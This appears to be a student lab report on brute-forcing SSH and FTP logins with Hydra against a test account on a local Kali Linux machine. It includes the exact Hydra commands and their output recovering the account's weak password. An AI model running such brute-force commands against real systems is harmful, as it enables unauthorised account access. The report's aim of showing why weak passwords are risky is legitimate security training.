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Authentication – Brute force with Hydra
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1 - Objective : To test the security of SSH and FTP authentication by performing controlled brute-force attacks with Hydra in a lab environment and demonstrating the risks of weak or dictionary-based passwords.

🧪 Our lab environment

🐉 **Kali Linux**: Virtual machine lab
💀 **Service Tested** : SSH on port 22 and FTP on port 21

The lab was conducted in a controlled virtual environment using Kali Linux (192.168.50.100) connected to an internal network (vtnet1). The authentication services tested during the exercise were SSH on port 22 and FTP on port 21. A dedicated test account named test_user

2 - Tools Used

- **Kali Linux** — used as the lab system where the target services were configured and tested.
- **Hydra** — used to perform brute-force attacks against the SSH and FTP authentication services.
- **OpenSSH service** — used as the SSH target on port **22**.
- **VSFTPD** — used as the FTP target service on port **21**.
- **SecLists / wordlists** — used to provide password lists for Hydra during the cracking attempts.
- **Custom short password list** — created to reduce crashes and make the test more manageable.
- **Test user account (`test_user`)** — created for the authentication tests.

3 - Results

- **SSH cracked successfully** — valid credentials found:
  `test_user:testpassword`
- **FTP cracked successfully** — valid credentials found:
  `test_user:testpassword`
- The lab confirmed that weak passwords are vulnerable to brute-force and dictionary attacks with Hydra.

4 - Issues Encountered During the Test

- **SSH limited multiple simultaneous connections**, so Hydra had to be executed with `-t 1` to avoid problems during the brute-force attempt.
- **VSFTPD was listening on IPv6 by default**, so the configuration had to be adjusted to enable proper IPv4 testing.
- The original password list was too large for the lab setup, so a **shorter custom password list** was created to reduce crashes and keep the test manageable

5 – Conclusion :

The lab confirmed that weak credentials can be recovered through brute-force attacks against both SSH and FTP. Hydra successfully found valid credentials for the two services, showing why strong passwords and proper service hardening are essential.

Technical Walkthrough

1. **Connectivity Check**
   The lab started with a connectivity check to confirm that the environment was working correctly. A ping test was performed to verify that the machine could communicate properly over the internal network before starting the authentication tests.

2. **Creation of a test account**

   A dedicated user account named `test_user` was created on Kali Linux for the purpose of the exercise. This account was assigned the password `testpassword`, which was later used as the target credential during the brute-force tests.

3. **SSH service setup and validation**

   The SSH service was started on Kali Linux and its status was checked to confirm that it was active. After that, a manual SSH connection to test_user@192.168.50.100 was performed to verify that the service was reachable and that authentication worked correctly before launching Hydra.

4. **Wordlist preparation and Hydra execution against SSH**

   Before running Hydra, password wordlists were installed to provide candidate passwords for the attack. An initial attempt with a large password list and multiple parallel tasks caused instability, so the test was adjusted by using a shorter custom password list and limiting Hydra to a single task. Hydra was then used to brute-force the SSH service until valid credentials were found.

5. **VSFTPD installation and configuration**

   The FTP service was prepared by installing VSFTPD and starting it on Kali Linux. During this phase, it was necessary to account for the fact that VSFTPD was listening on IPv6 by default, so the configuration had to be adapted for the intended test setup.

6. **Hydra execution against FTP**

   After the FTP service was active, Hydra was launched again against the FTP login interface using the same test account and the shorter password list. As with SSH, the attack was performed with one task at a time to keep the environment stable. The brute-force test successfully recovered the valid credentials for the FTP service.

Screenshot captions

Figure 1 – Successful connectivity test in the lab environment

```
┌──(kali㉿kali)-[~]
└─$ ping 192.168.50.101
PING 192.168.50.101 (192.168.50.101) 56(84) bytes of data.
64 bytes from 192.168.50.101: icmp_seq=1 ttl=64 time=6.87 ms
64 bytes from 192.168.50.101: icmp_seq=2 ttl=64 time=2.74 ms
64 bytes from 192.168.50.101: icmp_seq=3 ttl=64 time=2.59 ms
^C
--- 192.168.50.101 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2093ms
rtt min/avg/max/mdev = 2.589/4.066/6.873/1.985 ms
```

Figure 2 – SSH service started and verified on Kali Linux

```
┌──(kali㉿kali)-[~]
└─$ sudo service ssh start

┌──(kali㉿kali)-[~]
└─$ sudo service ssh status
● ssh.service - OpenBSD Secure Shell server
     Loaded: loaded (/usr/lib/systemd/system/s>
     Active: active (running) since Fri 2026-0>
```

Figure 3 – Hydra finding valid SSH credentials

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P ~/test_passwords.txt 192.168.50.100 -t 1 -V ssh
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secr
et service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 06:30:51
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a
 previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 11 login tries (l:1/p:11), ~11 tries per task
[DATA] attacking ssh://192.168.50.100:22/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpassword" - 1 of 11 [child 0]
(0/0)
[22][ssh] host: 192.168.50.100   login: test_user   password: testpassword
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 06:31:02
```

Figure 4 – VSFTPD setup for FTP testing

```
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Fri 2026-03-27 06:50:44 EDT; 6s ago
 Invocation: 41a6c5e77df546d9aa634a91a02313c2
    Process: 51685 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SU>
   Main PID: 51687 (vsftpd)
      Tasks: 1 (limit: 11443)
     Memory: 904K (peak: 2.3M)
        CPU: 17ms
     CGroup: /system.slice/vsftpd.service
             └─51687 /usr/sbin/vsftpd /etc/vsftpd.conf

Mar 27 06:50:44 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server...
Mar 27 06:50:44 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.
lines 1-14/14 (END)
```

Figure 5 – Hydra finding valid FTP credentials

```
┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P ~/test_passwords.txt 192.168.50.100 -t 1 -V ftp
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secr
et service organizations, or for illegal purposes (this is non-binding, these *** ignore laws
and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-03-27 07:05:32
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a
 previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 11 login tries (l:1/p:11), ~11 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpassword" - 1 of 11 [child 0]
(0/0)
[21][ftp] host: 192.168.50.100   login: test_user   password: testpassword
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-03-27 07:05:43
```

End

End